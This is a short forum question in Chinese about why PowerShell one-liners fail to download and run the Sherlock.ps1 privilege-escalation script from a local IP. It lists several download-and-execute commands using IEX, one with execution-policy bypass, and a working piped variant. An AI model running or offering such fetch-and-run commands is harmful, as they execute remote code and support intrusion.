在命令提示符下,我想运行一个存储在 URL 中的 PowerShell 脚本。
这是我尝试过的:
powershell -c "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"
powershell -Command "& iex (New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"
powershell -NoProfile -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"
我已经将它们中的每一个都运行了 5 分钟,但没有真正显示出我想要的结果。它没有显示任何错误,但在等待后什么也没有发生。
我想知道为什么上述脚本不能按预期工作?
我将通过键入以下内容来实现我想要的结果:
echo IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1') | powershell -NoProfile -Command -
我的问题类似于: Run Powershell script from URL without temporary file
https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70